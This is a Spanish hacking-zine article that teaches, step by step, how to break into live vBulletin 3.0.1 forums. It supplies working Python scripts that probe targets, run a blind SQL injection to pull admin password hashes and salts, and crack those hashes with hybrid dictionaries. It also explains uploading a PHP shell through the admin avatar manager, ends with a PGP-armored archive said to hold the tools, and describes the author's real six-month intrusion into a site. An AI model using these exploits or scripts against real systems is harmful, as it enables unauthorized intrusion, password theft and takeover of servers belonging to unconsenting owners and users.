-[ 0x02 ]-------------------------------------------------------------------- -[ Inyeccion SQL ]----------------------------------------------------------- -[ by Anonimo ]------------------------------------------------------SET-34-- Inyeccion SQL LAS BONDADES DEL SOFTWARE ANTICUADO. INTRODUCCION. En este articulo vamos a aplicar unas tecnicas elementales, como la inyeccion SQL, para obtener informacion sobre un sitio, lo que nos llevara a hacernos con una shell. De paso programaremos un ataque de diccionario para romper passwords, primero en Python y luego en C. No vayas a pensar que esto es muy elite: he puesto al dia un ataque viejo, y me he llevado una sorpresa al ver que todavia funciona contra bastantes blancos. Si estas dando tus primeros pasos en esto, quizas encuentres informacion util por aqui. La tecnica se basa en un ataque que lance hace ya bastante tiempo, a un foro vBulletin que habia caido en una situacion surrealista y necesitaba un administrador "voluntario". Pero una cosa llevo a la otra y acabe con una shell en el sistema. Me ha sorprendido ver que, tanto tiempo despues, hay todavia bastantes foros vulnerables a este ataque. Asi que he puesto al dia el ataque, lo he pasado a Python, y reproduzco los pasos que segui por si a alguien le parece instructivo. El hecho es que la red esta llena de sitios con software anticuado, que pueden ser atacados con un poco de creatividad, lo que permite abrirse shells para practicar, montarse proxies para lograr cierto grado de anonimato, y otras cosas. Tener una reserva de sitios comprometidos siempre es un buen recurso incluso si estas puesto en estas cosas, y si estas empezando, pues mejor meter mano a sitios vulnerables y mal administrados antes de lanzarte a por la NSA :-). NOTA. Al final de este articulo tienes, en formato PGP, un fichero tar adjunto con todos los archivos necesarios para lanzar el ataque. Incluye el codigo fuente en C para un ataque de diccionario bastante avanzado, aunque no esta testeado a fondo. El archivo tiene todos los elementos, incluyendo los passwords y un diminuto diccionario para ver que todo va bien. Para extraer el fichero, simplemente pasa este articulo por PGP. He usado Python para este ataque porque es un lenguaje limpio y muy agradable de programar. Cuesta creer lo sencillo que fue crear el ataque de diccionario en Python, y funciono a la primera. Dado que uso la libreria hashlib, en vez de la vieja md5, es conveniente que tengas instalado Python 2.5. Y ESTO PARA QUE. Vamos a ver como sacar passwords de usuarios en vBulletin 3.0.1 (tambien vale para algunas versiones posteriores). Luego vamos a ver como se rompen esos passwords. Y finalmente, indicare como puedes usar los privilegios de administrador para subir ficheros arbitrarios al sistema a atacar, lo que te abre las puertas de una shell o mucho mas. Los ataques que se desarrollaran en este articulo estan programados desde cero y los he empleado para hacerme con una shell en un sistema, simplemente para ver que funiona. En mi ataque original use una mezcla de perl, forms en HTML, C y aplicaciones como netcat. He rehecho todo eso, y ahora mismo basta usar unos simples programas en Python para hacerlo todo. Para que quieres una shell en un sistema remoto? Bueno, si estas empezando, esta bien hacerte con una shell sin privilegios en un sistema cualquiera. El realizar un ataque como este, ver como va, seguir los pasos, entender lo que se hace, y finalmente obtener la shell puede darte pistas sobre como va el juego. Mejor que perder el tiempo en #h4xUrs aguantando a los tipicos bocas que no tienen NPI. Nada mejor que hacer algo por ti mismo. Una cuestion importante: el ataque esta pensado de forma que no se cree ni una sola alarma en los logs del blanco. Una tecnica tipica de las inyecciones SQL es producir un fallo que te alerte de los contenidos de la base de datos: el problema de esta tecnica es que deja huella en los logs. El ataque que he implementado en este articulo _no_ genera fallos SQL: esto limita el numero de sistemas vulnerables (por ejemplo, vBulletin 3.0.0 solo es vulnerable si admitimos fallos), pero me parece importante presentar un ataque lo mas inocuo posible. Una cuestion importante es el trafico generado por el ataque; me ocupare de eso en un la seccion UNA ADVERTENCIA SOBRE EL TRAFICO. BLANCO. Vamos a atacar foros que esten corriendo vBulletin 3.0.1 con MySQL. Ademas, deben tener la variable $TABLE_PREFIX nula, lo que es la opcion por defecto. Tambien deben tener una configuracion de MySQL y PHP relativamente laxa: calculo que un 30% de los sistemas con vBulletin 3.0.1 que he sondeado son vulnerables, lo que no esta mal. He escrito una herramienta para hacer el sondeo automatico. Algunas versiones de vBulletin posteriores, hasta la 3.0.3, deberian ser vulnerables. Tambien algunas versiones anteriores, pero para estas necesitaras alterar el ataque, porque su respuesta a las inyecciones SQL es diferente. ESQUEMA DEL ATAQUE. El ataque sobre un sitio puede resumirse en lo siguiente. Asumamos que tienes un sistema remoto http://blanco.org/forum/ que corre vBulletin 3.0.1. 1) Ejecutas test.py y compruebas que http://blanco.org/forum/ es vulnerable. 2) Te paseas discretamente por http://blanco.org/forum/ y tomas notas de los numeros de usuario y nombre de los administradores. Tambien puedes anotar a los moderadores. El numero de usuario es sencillo de obtener con poner el raton encima del nombre del usuario, pues eso linka a algo del estido de: http://www.xxx.es/foro/member.php?u=124 Lo que va despues de la u es precisamente la id, es decir, 124. 3) Ejecutas ataque.py y te haces con el hash y el salt de cada uno de los logins de esos administradores / moderadores. 4) Usas los ataques de diccionario e hibridos en python y C para crackear los hashes. 5) Haces login como administrador y subes una shell en PHP al servidor. 6) Ejecutas la shell y a partir de ahi se trata de una escalada de privilegios. Lo interesante de esto es ver como funcionan los diversos pasos. Hay variaciones en cada uno de los pasos, y pueden hacerse muchas mas cosas interesantes que subirse una shell PHP al servidor. EL ATAQUE: LA INYECCION SQL. Antes de empezar: si no estas muy puesto en inyecciones SQL, una buenas referencias para empezar son: http://www.spidynamics.com/spilabs/education/whitepapers/SQLinjection.html http://www.spidynamics.com/assets/documents/Blind_SQLInjection.pdf La segunda referencia se refiere a "Blind SQL Injections", es decir, inyecciones que no dependen de generar un error en el servidor que estamos atacando, que es precisamente nuestro caso. Todo el problema de vBulletin 3.0.1 empieza con el siguiente aviso de vulnerabilidad, en el foro oficial: It has come to our attention that a problem exists with the code used to run paid subscriptions when using Authorize.net as the payment manager. The problem is minor and difficult to exploit, but we have updated the vBulletin 3.0.3 package in the members' area with updated code. Un aviso oficial, junto al nombre del descubridor, puedes encontrarlos en: http://secunia.com/advisories/12531/ La idea que nos llevamos es que en el script forum/subscriptions/authorize.php hay cierta posbilidad de inyectar SQL a traves de la variabe $x_invoice_num, pero parece que es complicado y dificil de explotar. Lo primero es instalar todo el software que vas a atacar en tu propio ordenador. Una vez que consigas crackear con exito tu propio sistema, puedes ir a por el de otro. No es nada complicado conseguir una version 3.0.1 de vBulletin en internet. Si lo instalas junto a Apache, PHP y MySQL, puedes montarte tu propio foro en cuestion de minutos. Es clave tener siempre el software a atacar en tu propio ordenador: si vas a construir un ataque, seguro que te equivocaras muchas veces antes de que funcione. Lo ultimo que quieres es que esos fallos queden registrados en los logs de un sistema remoto. Supongamos que tienes instalado el vBulletin 3.0.1 en tu ordenador. Basta echar un vistazo al codigo fuente de authorize.php para ver donde esta el fallo. A continuacion reproduzco la parte que es vulnerable: ///////////////////// Parte de authorize.php en vBulletin 3.0.1 /////////////// 1: // Nos saltamos las declaraciones iniciales, etc. 2: 3: $check_hash = strtoupper(md5($vboptions['authorize_loginid'] . $_POST['x_trans_id'] 4: . $_POST['x_amount'])); 5: 6: if ($check_hash == $_POST['x_MD5_Hash'] AND $_POST['x_response_code'] == 1) 7: { 8: $item_number = explode('_', $_POST['x_invoice_num']); 9: $subscriptionid = intval($item_number[0]); 10: 11: if (empty($item_number[1]) OR empty($item_number[2])) 12: { // non vBulletin subscription 13: exit; 14: } 15: 16: $userid = $DB_site->query_first("SELECT userid, languageid, styleid FROM " 17: . TABLE_PREFIX . "user WHERE userid = " . $item_number[1]); 18: if ($subscriptionid AND $userid['userid']) 19: { 20: //its a authorize.net payment and we have some valid ids 21: $sub = $DB_site->query_first("SELECT * FROM " . TABLE_PREFIX . 22: "subscription WHERE subscriptionid = $subscriptionid"); 23: $cost = unserialize($sub['cost']); 24: 25: if ($_POST['x_amount'] == $cost[strtolower($item_number[2])]) 26: { 27: build_user_subscription($subscriptionid, $userid['userid']); 28: } 29: // echo something back to the user... // El codigo sigue adelante... /////////////////////////////////////////////////////////////////////////////// Bien, la cagada esta en las lineas 16-17: la variable $item_number[1] no ha sido filtrada contra maldades varias. Y esta variable proviene del explode en la linea 8, en el que se lee el valor suministrado a traves de POST de x_invoice_num, y se separa en campos con el separador '_'. En pocas palabras, si enviamos un POST a authorize.php en el que x_invoce_num valga '1_INY. SQL', el explode de la linea 8 va a hacer que $item_number[0] valga 1, y que $item_number[1] valga 'INY. SQL'. Y ese $item_number[1] va a ir directo a una query SQL sin filtrar. En esto consiste precisamente una inyeccion SQL: metemos a traves de PHP un comando que pasa directamente a la base de datos y ejecuta la query que a nosotros nos de la gana. En este caso, tenemos que lo que podemos meter es lo siguiente: SELECT userid, languageid, styleid FROM user WHERE userid = <> En tiempos mas felices, y con bases de datos mas atrasadas, se podia meter un punto y coma y ejecutar dos comandos SQL que no tuvieran nada que ver. Este tipo de inyecciones no se pueden hacer con MySQL por defecto, asi que tenemos que modificar la query que tenemos para que nos de informacion sobre el sistema. Lo que perseguimos es hacernos con el password de cualquier usuario. El password esta en la tabla "users", en el campo "password". Si quisieramos acceder al password, un comando SQL razonable seria: SELECT password FROM user WHERE userid = 1 Esto selecciona el password, sin crackear, de el usuario numero 1 (usualmente el admin del foro). Como necesitaremos crackear los passwords, de hecho nos interesara hacenos tambien con la "salt" del password. Una salt es una cadena que se mete en un password para dificultar los ataques de diccionario. Si conseguimos hacernos con ella, nuestra vida se simplifica mucho. Asi que a la hora de la verdad, nos interesa esta informacion: SELECT password, salt FROM user WHERE userid = 1 Ahora el problema es como realizar esta query mediante una inyeccion. La cruda realidad es que no se puede hacer de un golpe. Tendremos que sacar cada letra del password poco a poco. La idea es la siguiente: en la linea 18, el if se ejecutara si la query de la linea 16 devuelve un valor no vacio. Si ese if se ejecuta, el script PHP manda un mensaje al usuario. Pero si el if falla, no se manda ningun mensaje al usuario, y la pagina queda en blanco. Por ejemplo, si hacemos esta query con inyeccion: SELECT userid, languageid, styleid FROM user WHERE userid = 1 AND (SELECT TRUE) ^ inyectado a partir de aqui ________| la query tendra exito y el if se ejecutara, dando lugar a una respuesta del foro al que atacamos. Sin embargo, si hacemos esta inyeccion: SELECT userid, languageid, styleid FROM user WHERE userid = 1 AND (SELECT FALSE) ^ inyectado a partir de aqui ________| resultara que el resultado de la query sera el conjunto vacio, asi que el if no se ejecutara, y el foro no nos respondera a la inyeccion. En otras palabras: podemos inyectar una query a la base de datos, y detectar si esa query ha dado verdadero o falso. Por ejemplo, podriamos inyectar lo siguiente: SELECT userid, languageid, styleid FROM user WHERE userid = 1 AND name = "pedro" ^ inyectado a partir de aqui ________| Si el usuario 1 se llama pedro, el if se ejecutara y podremos detectar que la respuesta es correcta porque el foro nos respondera. Si el usuario no se llama pedro, sabremos que es asi porque el foro no nos respondera. Es decir, que podemos sacar informacion del foro bit a bit. Si logramos que la base de datos nos responda a cualquier pregunta binaria, podemos sonsacarle cualquier cosa con el numero adecuado de preguntas. Por ejemplo, la siguiente query es parecida a la que usamos en el ataque: SELECT userid, languageid, styleid FROM user WHERE userid = 1 AND (SELECT SUBSTRING(SELECT password FROM user WHERE userid = 1, 1, 1) = 'a') Esto puede parecer complicado, pero lo que hace es lo siguiente: le pregunta a la base de datos si el primer caracter del password del usuario numero 1 es una letra 'a'. Si es cierto, el foro nos respondera, mientras que si es falso, el foro no escribira nada. Luego lo unico que tenemos que hacer es ir preguntando al foro, a traves de authorize.php, si cada una de las letras del password es la que buscamos. Cada vez que preguntemos, miramos si el foro nos responde o no. Si nos responde, es que la letra que hemos conjeturado es correcta. En el ataque de verdad, la query que hacemos es: SELECT userid, languageid, styleid FROM user WHERE userid = 1 AND ( SELECT ASCII(SUBSTRING(SELECT password FROM user WHERE userid = 1, 1, 1)) = 97) Esto se debe a que es complicado inyectar comillas, asi que en su lugar lo que hacemos es preguntar por un determinado codigo ascii de un caracter. Si no entiendes muy bien que hace esta query, mirate cualquier manual de MySQL. La idea es sencilla: se trata de ver si un cierto caracter del password es igual a cierto codigo ASCII. Veamos un programa que usa esta inyeccion para hallar el password y el salt de cualquier usuario. OBTENIENDO EL PASSWORD. La manera en que vBulletin almacena los passwords es en forma hexadecimal. Esto se debe a que el algoritmo de hash que se usa es md5, que codifica mensajes en hexadecimal. Un password tipico para vBulletin es: 79d82062c9888b0a1e0076e6729c7370 Ademas, la salt es un conjunto de 3 caracteres ASCII normales (pero no codigos de control). Por ejemplo, una salt tipica es t:- . Estos tres caracteres se usan para codificar el password. Luego nos ocuparemos de ello con mas detalle, por ahora concentremonos en el problema de extraer esta informacion de la base de datos. Objetivo: queremos sacar el password, que son 32 digitos hexadecimales, y el salt, que son 3 caracteres ASCII, a base de nuestra inyeccion. Para lograrlo, he hecho el siguiente programa en Python: ########################################### INICIO DE ataque.py ############### # -*- coding: latin1 -*- # # Conexión al foro y chequeo del ataque. # import urllib, hashlib # La función principal. Esta prepara el ataque. # El usuario a atacar por defecto es userid=1. # Primero se busca el password. def main(): sitio = raw_input("Objetivo : ") # Sitio a atacar. tabla = "" # Prefijo de tabla si existe. # Lanzamos el ataque al password. l = raw_input("id. a atacar : ") print userid = int(l) # Usuario a atacar. campos = range(1,33) # Hay 32 caracteres en un hash md5. chars = "0123456789abcdef" password = "" for campo in campos: for char in chars: c = ataque(tabla, sitio, "password", userid, campo, ord(char)) if (c != -1): break if (c == -1): print "USUARIO NO EXISTE." return password = password + chr(c) print chr(c), print "\nEl password es : " + password # Lanzamos el ataque al salt. salt = "" campos = range(1,4) # Hay 3 caracteres en la salt. chars = range(32,127) # El salt es un ASCII desde 32 hasta 126 (Cf. functions_user.php). for campo in campos: for char in chars: c = ataque(tabla, sitio, "salt", userid, campo, char) if (c != -1): break salt = salt + chr(c) print chr(c), print "\nEl salt es : " + salt return # Esta función desarrolla el ataque contra una columna de la base de datos. # Admite como parámetros la id del usuario a atacar, y otras dos # para buscar partes adecuadas del passwd. def ataque(tabla, sitio, columna, userid, campo, intento): # Script a atacar: blanco = "subscriptions/authorize.php" # Desarrollemos la query a inyectar: query = "(SELECT ASCII(SUBSTRING((SELECT " + columna query += " FROM " + tabla + "user WHERE userid=" + str(userid) + ")," query += str(campo) + ",1)) = " + str(intento) + ")" # Vamos a poner en orden todo el postdata: x_response_code = "1" # Estos valores nos permiten llegar a la query que x_amount = "" # queremos inyectar. x_trans_id = "31337" x_MD5_Hash = hashlib.md5(x_trans_id + x_amount).hexdigest().upper() x_invoice_num = "2_1 AND " + query + "_100" # Esta es la inyeccion SQL. # Damos formato al postdata: post = ({"x_response_code" : x_response_code, "x_amount" : x_amount, "x_trans_id" : x_trans_id, "x_MD5_Hash" : x_MD5_Hash, "x_invoice_num" : x_invoice_num}) post = urllib.urlencode(post) # Conectamos al foro y lanzamos el ataque: conexion = urllib.urlopen(sitio + blanco, post) if (conexion.read() != ""): # Comprobamos si el foro responde. return intento else: return -1 conexion.close() # Principal: main() # ########################################### FIN DE ataque.py ################## Este programa lo que hace es ir mandando peticiones POST a authorize.php, en las que cada vez va probando un caracter distinto para cada campo del password y de la salt. Cada vez que hace una peticion, el programa comprueba si el foro responde: si hay respuesta es que hemos acertado, y por ello tenemos un caracter del password/salt. Usar este programa es muy sencillo. Es suficiente con tener la direccion de un sitio vulnerable, por ejemplo, http://www.xxx.com/forums/ . Un ejemplo real del uso de este programa: $ python -u ataque.py Objetivo : http://www.xxx.com/forums/ id. a atacar : 1 5 5 2 f 7 3 a 8 5 c 3 5 b 9 5 b f f 2 d 5 b e e c a b 5 9 9 d 7 El password es : 552f73a85c35b95bff2d5beecab599d7 + f l El salt es : +fl $ El programa va escribiendo cada caracter del password que rompe, y cuando acaba escribe todos juntos. Hace lo mismo para el salt. Una vez terminado, solo tenemos que anotar el password y la salt para pasarlos al crackeador, que tambien esta programado en Python. ANTES DE CONTINUAR. Antes de seguir con el ataque, vamos a ver un programa que nos permite determinar si un foro es vulnerable al ataque. Antes que nada, pasate por el foro y comprueba que la portada indica "Powered by vBulletin 3.0.1". Si no esta corriendo esta version, o una poco posterior, es muy improbable que el ataque funcione. El motivo por el que necesitamos una funcion para comprobar si un sitio es vulnerable es que el ataque que hemos desarrollado en la seccion anterior genera una cantidad de trafico importante, y si el sitio no es vulnerable, causara posiblemente muchos fallos SQL. Fallos que iran a los logs. Luego mejor hacer una prueba antes que sacudirle una tunda a una maquina que puede estar vigilada por un admin competente. Lo unico que vamos a hacer es mandar tres queries a la maquina de destino. Las dos primeras comprueban que el fallo de seguridad, con la posibilidad de inyectar SQL, existe. La tercera query comprueba que el servidor SQL esta lo bastante mal configurado como para permitirnos meterle una query compleja. Si estas tres inyecciones funcionan bien puedes estar bastante convencido de que el ataque va a funcionar. Esto esta, una vez mas, hecho en un programa en Python bien corto: ############################## Inicio de test.py ############################## # -*- coding: latin1 -*- # # Conexión al foro y chequeo del ataque. import urllib, re, hashlib # La función principal. def main(): sitio = raw_input("Sitio a comprobar: ") # Lanzamos el ataque al password. print "Lanzando primera inyeccion...", poke1 = ataque(sitio, "TRUE") print "hecho." if (poke1 == -2): print "HAY UN ERROR SQL... FORO NO VULNERABLE" return print "Lanzando segunda inyeccion...", poke2 = ataque(sitio, "FALSE") print "hecho." if (poke1 == -2): print "HAY UN ERROR SQL... FORO NO VULNERABLE" return if ((poke1 == 1) and (poke2 == -1)): print "EL FORO PARECE VULNERABLE" else: print "EL FORO NO ES VULNERABLE" return print "Lanzando inyeccion SQL compleja...", query = "(SELECT ASCII(SUBSTRING((SELECT username FROM user WHERE userid=1),1,1)) = 37)" poke3 = ataque(sitio, query) print "hecho." if (poke3 == -2): print "EL FORO HA RESPONDIDO CON UN ERROR SQL." print "EL FORO NO ES VULNERABLE." else: print "EL FORO ES VULNERABLE." # Esta función desarrolla el ataque contra una columna de la base de datos. # Admite como parámetros la id del usuario a atacar, y otras dos # para buscar partes adecuadas del passwd. def ataque(sitio, query): # Script a atacar: blanco = "subscriptions/authorize.php" # Vamos a poner en orden todo el postdata: x_response_code = "1" x_amount = "" x_trans_id = "31337" x_MD5_Hash = hashlib.md5(x_trans_id + x_amount).hexdigest().upper() x_invoice_num = "2_1 AND " + query + "_100" # Damos formato al postdata: post = ({"x_response_code" : x_response_code, "x_amount" : x_amount, "x_trans_id" : x_trans_id, "x_MD5_Hash" : x_MD5_Hash, "x_invoice_num" : x_invoice_num}) post = urllib.urlencode(post) # Conectamos al foro y lanzamos el ataque: conexion = urllib.urlopen(sitio + blanco, post) rd = conexion.read() if (rd != ""): p = re.compile("Invalid SQL") if (p.search(rd) == None): return 1 # Respuesta del foro. else: return -2 # Fallo SQL detectado. else: return -1 # El foro no responde. conexion.close() ##### main() # ################################ Fin de test.py ############################### Este programa es muy semejante al anterior, y lo unico que hace es lanzar tres queries bien construidas para graduar la vulnerabilidad del sitio. Si ejecutas el programa, tienes por ejemplo: $python -u test.py Sitio a comprobar: http://www.xxx.com/forum/ Lanzando primera inyeccion... hecho. Lanzando segunda inyeccion... hecho. EL SITIO PARECE VULNERABLE Lanzando inyeccion SQL compleja... hecho. EL FORO ES VULNERABLE. En este caso, el sitio que estas atacando ha pasado las tres pruebas, y esta listo para lanzarle un ataque para obtener passwords. En otros casos, veras que la cosa no funciona: Sitio a comprobar: http://www.yyy.uk/ Lanzando primera inyeccion... hecho. HAY UN ERROR SQL... FORO NO VULNERABLE En este caso lo que ocurre es que el administrador ha activado la variable PHP $TABLE_PREFIX, lo que hace que la inyeccion SQL no valga. Hay otro caso interesante: Sitio a comprobar: http://www.zzz.com/forums/ Lanzando primera inyeccion... hecho. Lanzando segunda inyeccion... hecho. EL SITIO PARECE VULNERABLE Lanzando inyeccion SQL compleja... hecho. EL FORO HA RESPONDIDO CON UN ERROR SQL. EL FORO NO ES VULNERABLE. En este caso estamos ante un sistema que no acepta nuestra peticion SQL complicada. Puede deberse a muchos motivos, y con un analisis concreto de la respuesta (prueba a meter "print rd" en la subrutina ataque() en el programa) a menudo puede darse un rodeo y atacar el foro de todas maneras. En cualquier caso, si un foro pasa con exito el test, es casi seguro que puedes lanzar el ataque sin que se produzca un solo error SQL, obteniendo todos los passwords que quieras. ROMPIENDO LOS PASSWORDS. Como hemos visto antes, los passwords se almacenan en dos partes. Primero un conjunto de 32 caracteres hexadecimales, y luego una salt de 3 caracteres ASCII. Una tipica captura de passwords seria la siguiente: 79d82062c9888b0a1e0076e6729c7370 t:- eb68f5dc2a2c72d776108126b882a312 :R: 92d3f4acd93242437c93458fea6c8ea7 tvQ La primera parte es el hash md5, y la segunda es el salt. El metodo de encriptar los passwords es curioso, y va de la manera siguiente: 1) El usuario introduce su password, digamos que es "Oberon". 2) Tu navegador, usando javascript, aplica md5 al password, y asi obtiene la cadena: md5(Oberon) = f9d0e88ed22cb947b07018fe81d0446d . 3) El navegador envia esta cadena al foro. El foro tiene en su base de datos la salt. Asi que lo que hace es combinar lo que has enviado con la salt, y le vuelve a aplicar md5. Supongamos que tu salt es "tvQ". Lo que hace el foro es: md5(f9d0e88ed22cb947b07018fe81d0446dtvQ) = 92d3f4acd93242437c93458fea6c8ea7 Y este es el password almacenado en la base de datos. En otras palabras, lo que se almacena en la base de datos es md5(md5(password)+salt). Esto es bastante buena idea porque, en primer lugar, no mandas por la red el password sin codificar. Y en segundo lugar, el salting evita ataques de diccionario a ciegas. Pero como nosotros hemos conseguido la salt, si que podemos lanzar ataques de diccionario con bastante facilidad. Aqui tienes un ejemplo de un programa que hace ataques de diccionario, y hasta prueba variantes hibridas al ataque: ############################# Inicio de dic.py ################################ # -*- coding: latin1 -*- # # Cracking usando diccionario. # import hashlib def main(): pswd = raw_input("hash : ") salt = raw_input("salt : ") hyb = int(raw_input("hibridacion [0-2]: ")) # Mete aqui una lista de los diccionarios a probar: fichs = ["minidic"] # Mete otros diccionarios en este directorio, # e incluyelos en la lista. for dic in fichs : f = open(dic, "r") print "Probando " + dic lista = f.readlines() for palabra in lista: palabra = palabra.replace('\n','') c = hashlib.md5(palabra).hexdigest() c = hashlib.md5(c + salt).hexdigest() if (c == pswd): print "Password: " + palabra return if (hyb == 1): # Hibridacion moderada. c = hashlib.md5(palabra.upper()).hexdigest() c = hashlib.md5(c + salt).hexdigest() if (c == pswd): print "Password: " + palabra.upper() return for n in range(0,11): c = hashlib.md5(palabra + str(n)).hexdigest() c = hashlib.md5(c + salt).hexdigest() if (c == pswd): print "Password: " + palabra + str(n) return if (hyb == 2): # Hibridacion fuerte. for n in range(0,10): for m in range (0,10): c = hashlib.md5(palabra + str(n) + str(m)).hexdigest() c = hashlib.md5(c + salt).hexdigest() if (c == pswd): print "Password: " + palabra + str(n) + str(m) return for bang in "@#$%&*?/.,+^!-_<>:;'": c = hashlib.md5(palabra + bang).hexdigest() c = hashlib.md5(c + salt).hexdigest() if (c == pswd): print "Password: " + palabra + bang return c = hashlib.md5(bang + palabra).hexdigest() c = hashlib.md5(c + salt).hexdigest() if (c == pswd): print "Password: " + bang + palabra return print "No hubo suerte." # Ejecutamos el programa principal. main() # ################################## Fin de dic.py ############################## Este programa ataca un hash y una salt determinados, usando varios ficheros de diccionario (que deben estar en el mismo directorio que el programa que ejecutas). Puedes descargarte montones de diccionarios de palabras de internet. Los nombres de los diccionarios los metes en la lista que hay al principio del programa, y este los va probando uno tras otro. Una caracteristica interesante de este programa es que puedes indicarle tres niveles de hibridacion en el ataque: Hibridacion 0 : simplemente prueba el diccionario. Hibridacion 1 : prueba el diccionario, el diccionario pasado a mayusculas, y cada palabra seguida de un numero del 0 al 9. Hibridacion 2 : Todo lo anterior, y tambien otras variantes, como bangs al final o al principio de cada palabra. Es extremadamente lento, asi que piensa en usar la variante en C. Ejemplos de como se usa esto: $python -u dic.py hash : 92d3f4acd93242437c93458fea6c8ea7 salt : tvQ hibridacion [0-2]: 0 Probando sports Probando tolkien Probando shakespe Probando science_fiction Probando norse Probando Unabr.dict Probando Unix.dict Probando actor-surname Password: Oberon $ Este ha sido muy facil, y se ha ejecutado en un par de segundos. Veamos uno un poco mas duro: hash : 79d82062c9888b0a1e0076e6729c7370 salt : t:- hibridacion [0-2]: 1 Probando sports Probando tolkien Probando shakespe Probando science_fiction Probando norse Probando Unabr.dict Probando Unix.dict Probando actor-surname Probando american.txt Password: bobafett1 Este ha llevado cerca de 40 segundos. Una cosa que me parece importante es destacar que Python esta realmente bien para lanzar ataques de diccionario. En principio pensaba que habria que usar C para esto, pero Python es razonablemente rapido. A menos que quieras lanzar ataques con hibridacion muy fuerte, no vale la pena meterse con C. Otro consejo interesante es probar con passwords puramente numericos, de hasta 8 cifras. En una ocasion me he encontrado con un admin lo bastante cazurro para usar un password compuesto por numeros (su fecha de nacimiento, para mas detalles). Esto puede crackearse con Python en cuestion de segundos. Los dos ejemplos que he puesto arriba provienen de administradores de sitios reales. No todos son tan faciles de romper, ni mucho menos. Pero una buena parte acaba cayendo. Python no es, de todos modos, un lenguaje superrapido, ni siquiera si lo compilas. He programado una version en C de este ataque, y la incluyo en el fichero adjunto al articulo. Es puramente experimental, pero permite ataques hibridos muy fuertes, con varios diccionarios y passwords a la vez, y es un dos ordenes de magnitud mas rapido que Python. Aun asi, con Python siempre he tenido suficiente para romper la mayoria de las cosas, con la opcion de hibridacion igual a 1. ENTRANDO COMO ADMIN. Vale, ahora ya tenemos el login y el password de un administrador del foro. Esto esta muy bien si eres un kiddie que quiere hacer el capullo en el foro, pero tambien tenemos otras oportunidades de hacer cosas interesantes si sabemos como. Resulta que los foros vBulletin que estamos atacando tienen un fallo grave en el panel de aministracion: te permiten subir cualquier fichero al servidor, haciendolo pasar por un avatar o un smiley. Asi que sencillamente, vete al panel de administracion, que puedes encontrar en http://www.xxx.com/forum/admincp/index.php Ahora mete tu login y tu password, y ya estas dentro. Una vez hecho esto, vete al gestor de avatares, y subete al servidor lo que te de la gana. Para este experimento, opte por PHPterm 0.3.0, que es una terminal en PHP que puedes encontrar facilmente en internet. Lo unico que tienes que hacer ahora es subirte los ficheros de la terminal, uno a uno, al servidor, y abrir la terminal desde tu navegador. Y ya tienes una shell en el sistema. Existen alternativas interesantes, dado que no hay limite a la cantidad de cosas que puedes subirte. Si dominas algo de programacion en PHP, puedes sacar mucha punta a un sitio penetrado. Y esto es todo. Si has seguido el articulo hasta aqui y has entendido minimamente las cosas, no creo que tengas demasiada difucultad en hacerte con una shell en algun servidor por la red adelante. UNA ADVERTENCIA SOBRE EL TRAFICO. La primera vez que lance este ataque, tiempo ha, me lo tome bastante de cachondeo y me dedique a sacar no solo los passwords de los administradores, sino tambien de multitud de usuarios, incluso antes de subirme la shell. La cantidad de trafico que genere al sitio fue lo bastante grande como para disparar, temporalmente, el ranking de alexa para ese foro :-). Hace poco, mirando las estadisticas del sitio para los ultimos años, me he econtrado conque los dias del ataque destacan en la grafica de hits como el Everest en una llanura. La cosa me llamo bastante la atencion, y me ha hecho pensar de que curiosas maneras puede quedar registrada una cafrada que se hace en la red. Lo cierto es que me dedique, durante una semana, a lanzar ataque tras ataque al sitio, y que incluso me puse a romper passwords de amigos en tiempo real, para fardar, y otras bobadas. El trafico generado en un par de ataques para obtener los passwords de los administradores no deberia destacar demasiado. De todos modos, me parece importante indicar este detalle, por si te emocionas y, como yo, te extralimitas a la hora de lanzar ataques. A pesar de lo cual, ese sitio que ataque lo tuve penetrado durante seis meses antes de aburrirme. Al volver recientemente me he fijado que han parcheado los agujeros. Asi que, curiosamente, tampoco parece que llamara mucho la atencion. El motivo del parcheo, me temo, no fue el trafico, sino otras actividades que realize por alli. ARCHIVOS Y CODIGO FUENTE. Aqui tienes el codigo fuente y unos cuantos passwords para hacer pruebas. Para extraerlo todo, pasalo por PGP o usa la opcion -p desde la linea de comandos. El archivo extraido es iny.tar, de unos 30Kb. Para sacar esto con PGP 2.6.3i, simplemente: $ pgp -p articulo.txt -----BEGIN PGP MESSAGE----- Version: 2.6.3ia owHsWety3EZ25r9Uqcrv0B5FEiCORmhcZ0RSG11GEiuU7JCykiqKZjWABok1BpgF MDIpWftGeag8Q14g5/QFlyEh0vZSyWYNqYbo7nO6z/Xr043/PPsm/Kc0P5/UrNyA B14fbtzwY1muFXge/LWswHfxL4Uu0VbPBrV8N6C+57t0w6KObQcbxLtpwfBZVWAJ QjbenparaskG6Z7EizRPq7pkcVHy6muI9jUe9D+r2V9WfLI8v6E1wNvgXXfI/57v NP63bccHes/ywP/WDcnTe/7B/X+bPLj/gERFnOYnj0jG6jSn2PXNrdvwnzwrcn6W /ndOWEaSoizIOYlOOURLQWKeERU5gvibW+liWZQ1WZVZloZjcsqqU3jBkdtkj5Fk lUc41bJM4WXJsgmZg/GhzZesZKQ3H5lnZFWtWJkWhGF/BF6C6WHZhEd1QXgF47xM 4x0q6L8v0wUHAStOwlUViemWrKp+Lsp4gjIAI1mwNDfMR9gk8FRpDdPvkJL9fJzm y1VtjL4L/8zr9ENBHpGRiTTkNjkQZFqKieauWZgxAuyjkSD7vuRJ+mc0jBqqUgLG q2pUCBnkL9oi/8gWRdVqjObtCYuEWV+yNJ60lkDpJBVas5av0h7ABT1GJqVff26T H9asqoSLGHivEkvmJ9ygY8cxLzK/YufEsYG4ZFHNIQ8Iz8kqF74mi9jTk52yshKm sajtuJ4fTGcsjMAFo64ptMrChlptCDMpDKihpHokR5pRmF0M4iqdMbEyzCVtaggn jKWTx2SkFxuNlaHGcvYxgU4D5zLN/lxpQoyIfLtDHlDzEQlLzn5qCeTgjhzs8wmX kNEPBz882d/9jrz5jsz/Y/fg7Xwy6tOVvF6VedvXMUfzuglalkbUkUzOLnvH2mhq yff5vA0kTBGIE5hC92jqoRCsWFY34YeNnmMuRIhrdoJiLSYw/OVsvXiQrI49pnZg EpHlYh3M5pw8OXi2uwv5U0EKQZRBUAE8UNsnxrNkIvADXJlXx+i/yfJ0aU6uFTRX xMxwyKBoF8NFhEpvhi8FijKj+HPBmWu+JBedqa2Dj3Qm9mi1dQQJwERjaYwFG7Ky LLKsA6uA8jlsX2BoBq/ZagF/wdBAEjJATXiNWV1UAk1xt6uRY1FA9JT/teB1Cb4H 